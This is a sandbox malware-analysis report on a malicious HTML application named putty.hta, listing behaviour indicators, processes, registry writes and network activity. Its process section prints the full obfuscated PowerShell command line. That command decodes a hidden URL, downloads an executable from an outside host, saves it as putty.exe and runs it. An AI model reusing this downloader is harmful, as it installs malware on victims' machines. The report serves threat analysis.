File name:

putty.hta

Full analysis: https://app.any.run/tasks/0a5f3612-339b-4ebc-bc2f-084ba9c9e112
Verdict: Malicious activity
Analysis date: June 07, 2025, 22:00:44
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: text/html
File info: HTML document, ASCII text, with very long lines (5845)
MD5:

09745C77FAFD000A4A6B15852CEA0E71

SHA1:

69C635D531C32B591FE16465C8BA9645AA933C44

SHA256:

63FD561EA49558CF27C8F96D3470C58D105A6C6ECD93C399FD28F0D4B69641E1

SSDEEP:

192:b9bUV/5sVgBnUw/izgAQ2yGopoIIet+39G9g59/AD89IEh71lGduLB:CVBwVw/izw2yLlIet0/ADhEhm6

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  • MALICIOUS

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 7320)
  • SUSPICIOUS

    • Probably download files using WebClient

      • mshta.exe (PID: 7320)
    • Runs shell command (SCRIPT)

      • mshta.exe (PID: 7320)
    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7320)
    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 2332)
    • Starts process via Powershell

      • powershell.exe (PID: 2332)
    • Manipulates environment variables

      • powershell.exe (PID: 2332)
  • INFO

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7320)
    • Checks proxy server information

      • powershell.exe (PID: 2332)
    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2332)
    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 2332)
    • Disables trace logs

      • powershell.exe (PID: 2332)
    • Reads the software policy settings

      • slui.exe (PID: 7484)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.html | HyperText Markup Language (100)

EXIF

HTML

ContentType: text/html; charset=utf-8
No data.
screenshot
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Total processes
132
Monitored processes
6
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start mshta.exe no specs powershell.exe conhost.exe no specs sppextcomobj.exe no specs slui.exe slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2332"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iR($Na, $hA){[IO.File]::WriteAllBytes($Na, $hA)};function qf($Na){if($Na.EndsWith((vJ @(65396,65450,65458,65458))) -eq $True){Start-Process (vJ @(65464,65467,65460,65450,65458,65458,65401,65400,65396,65451,65470,65451)) $Na}else{Start-Process $Na}};function gG($Sl){$f = New-Object (vJ @(65428,65451,65466,65396,65437,65451,65448,65417,65458,65455,65451,65460,65466));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hA = $f.DownloadData($Sl);return $hA};function vJ($Ug){$w=65350;$I=$Null;foreach($p in $Ug){$I+=[char]($p-$w)};return $I};function Cw(){$E = $env:APPDATA + '\';$Ng = gG (vJ @(65454,65466,65466,65462,65465,65408,65397,65397,65469,65469,65469,65396,65464,65461,65471,65447,65458,65457,65455,65466,65449,65454,65451,65460,65395,65449,65461,65396,65449,65461,65459,65397,65462,65467,65466,65466,65471,65396,65451,65470,65451));$C = $E + 'putty.exe';iR $C $Ng;qf $C;;;;}Cw;C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
2652\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7048C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exesvchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7320"C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\AppData\Local\Temp\putty.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}C:\Windows\SysWOW64\mshta.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\advapi32.dll
7484"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7840C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exesvchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
7 194
Read events
7 169
Write events
25
Delete events
0

Modification events

(PID) Process:(7320) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(7320) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(7320) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(7320) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(2332) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
1
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ytk2uea2.zyg.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2332powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j0alw52c.0rt.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2332powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:871790633EA814CF1D3209CAD0BCB6EF
SHA256:9B28305C9C840FE341ED550140FAAFBF3D4307F61518434426DE6F8F67A4AEF8
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HTTP(S) requests
5
TCP/UDP connections
31
DNS requests
16
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
DE
binary
825 b
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
DE
binary
868 b
whitelisted
7384
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
NL
binary
408 b
whitelisted
7384
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
NL
binary
419 b
whitelisted
6544
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
DE
binary
471 b
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
6544
svchost.exe
20.190.160.4:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
whitelisted
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
5496
MoUsoCoreWorker.exe
2.23.181.156:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
whitelisted
2332
powershell.exe
69.16.216.95:443
www.royalkitchen-co.com
LIQUIDWEB
US
unknown
6544
svchost.exe
20.190.160.131:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.23.77.188:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
6544
svchost.exe
20.190.160.17:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
login.live.com
  • 20.190.160.4
  • 20.190.160.131
  • 20.190.160.65
  • 40.126.32.134
  • 40.126.32.133
  • 20.190.160.66
  • 20.190.160.67
  • 40.126.32.72
  • 20.190.160.17
  • 40.126.32.136
  • 20.190.160.132
  • 20.190.160.3
  • 20.190.160.5
whitelisted
google.com
  • 142.250.186.78
whitelisted
settings-win.data.microsoft.com
  • 4.231.128.59
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.163
  • 23.48.23.157
  • 23.48.23.155
  • 23.48.23.160
  • 23.48.23.162
  • 23.48.23.158
  • 23.48.23.161
  • 23.48.23.168
whitelisted
www.microsoft.com
  • 2.23.181.156
  • 95.101.149.131
whitelisted
www.royalkitchen-co.com
  • 69.16.216.95
unknown
ocsp.digicert.com
  • 2.23.77.188
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
slscr.update.microsoft.com
  • 4.245.163.56
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted

Threats

No threats detected
No debug info